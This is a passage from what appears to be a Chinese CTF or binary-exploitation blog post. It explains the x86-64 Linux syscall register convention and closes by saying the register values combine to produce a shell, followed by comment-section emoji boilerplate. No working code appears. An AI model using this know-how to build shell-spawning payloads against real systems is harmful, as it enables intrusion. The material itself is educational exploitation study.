  2. 将系统调用的参数存储在 rdi, rsi, rdx, r10, r8, 和 r9 寄存器中,这些寄存器分别用于传递不同的参数。
  3. 执行 syscall 指令,触发中断
  4. 内核处理中断,根据 rax 中的系统调用号,执行相应的系统调用功能
  5. 执行完系统调用后,返回值会存储在 rax 寄存器中,供用户空间程序使用
6.最后结合这里的各个寄存器的值,组合到一起就是shell
image-20240417022227234
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇